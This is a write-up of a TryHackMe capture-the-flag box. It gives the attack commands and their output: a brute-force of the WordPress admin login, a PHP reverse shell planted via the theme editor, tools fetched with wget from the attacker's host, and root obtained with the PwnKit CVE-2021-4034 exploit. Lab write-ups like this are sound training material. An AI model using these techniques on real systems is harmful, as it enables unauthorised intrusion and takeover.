Introduction/Overview

• Challenge Name: TryHackMe
• Category: Penetration Testing Challenge
• Points: 60
• Author: TheMayor
• Description: Complex Linux & Docker exploitation without the usage of metasploit (usage of CVE-2021-4034).

Scanning/Recon

• IP Address: 10.10.174.253

Inital scan with nmap -p- 10.10.174.253 and later nmap -A -p 22,80, resulting in

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)
|   256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)
|_  256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

A default apache web server & ssh service are found on the machine. Naturally, I take to gobuster with this info, after adding 10.10.174.253 to my /etc/hosts as internal.thm –

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.thm/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/02 23:38:25 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/]
Progress: 20469 / 20470 (100.00%)

With the location of /blog, we find a cheeky little wordpress site hosting some sort of content.

I tried to use the open-source tool WPScan for this section of enumeration, though found more info through actually traversing the site, which I believe the creator intended for this challange.

–

After looking through the site, we notice a user called admin that seems to own the blog. Using Wappalyzer (or CTRL-U), we can also see that our version of wordpress is 5.4.2.

Unfortunately, searchsploit wordpress 5.4.2 brings back nothing.

After taking a look at the login feature at /blog/wp-login.php, we notice that default wordpress creds do not work (admin:password, admin:admin)

At this point, after looking over my notes a couple times, I decided I had little other choice but to be obnoxious & bruteforce :/

Exploitation

• Exploitation Method: Bruteforce :c

Using the WPScan tool from before (or Hydra), we can bruteforce the login feature with wpscan --url http://internal.thm/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt. This will gain us our first credentials & hopefully gain us our beloved webshell.

[!] Valid Combinations Found:
 | Username: admin, Password: ------

Using the tutorial at VK9, we can gain a reverse shell using “theme editor” under “appearance” and replacing the code inside index.php with php-reverse-shell.php after customizing $ip and $port to our own ip and desired listening port. We then crack open that port using nc -nvlp PORT_NUMBER and behold our own shell on an internal server.

With this step finished, we can move around the machine and get to know the target we are attacking.

Privilege Escalation

• Initial User: www-data
• Privilege Escalation Method: pwnkit (CVE-2021-4034)

The first thing to catch the eye is a local user, aubreanna, who does not allow us as www-data to cd into her ~. sudo -l also brings us nowhere as www-data has very few permissions on this box (makes sense, its supposed to be hard).

After installing linpeas.sh on the box by hosting a python -m http.server locally and fetching it on the box using wget http://MY_IP:8000/linpeas.sh in /tmp, we find database credentials after cd /etc/phpmyadmin and cat config-db.php | grep '$'

Unfortunately, after logging into the phpmyadmin database & searching for 30 minutes, I realized that its just a big rabbit hole with no PE vectors :c

Another interesting file we find, however, is /opt/wp-save.txt, which is a HUGE hint containing credentials presented as a sort of note from aubreanna to herself. We can now su aubreanna with these creds after stabilizing our shell with python -c 'import pty; pty.spawn("/bin/bash")'

Just like that, we can cat ~/user.txt and submit to TryHackMe.

Also in ~, we find Jenkins.txt, which reveals an internal service that can be accessed with SSH. Instead of doing this, however, we are going to take the pwnkit route and get the box done quicker.

We can downlaod the pwnkit binary onto our own system thanks to ly4k and upload the binary to our box for exploitation purposes.

First, we run curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit locally to create the pwnkit binary, then use the same python -m http.server method to install pwnkit to /tmp, give ourselves permissions with chmod +x ./PwnKit, and finally ./pwnkit for our root shell (directly curling from github doesn’t work on THM servers ig).

And just like that – we rooted the box!

HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit'

PwnKit              100%[===================>]  17.62K  --.-KB/s    in 0.1s    

2023-10-13 04:31:01 (142 KB/s) - 'PwnKit' saved [18040/18040]

www-data@internal:/tmp$ ls
ls
PwnKit
www-data@internal:/tmp$ chmod 777 PwnKit
chmod 777 PwnKit
www-data@internal:/tmp$ ./PwnKit
./PwnKit
root@internal:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@internal:/tmp#

Conclusion

This box was a lot of fun so kudos to TheMayor for creating it! This is the first writeup for a box I have actually created and had the courage to post online, so enjoy the writeup & new blog.

• Lessons Learned: We learned how to gain a webshell from gaining webmaster authority on a CMS (Wordpress) as well as the process of uploading files between a local box and a remote system with wget & curl. We were also familiarized with standard tools such as nmap and WPScan as well as the imfamous CVE-2021-4034.

Work smart, not hard!

Happy Hacking!!!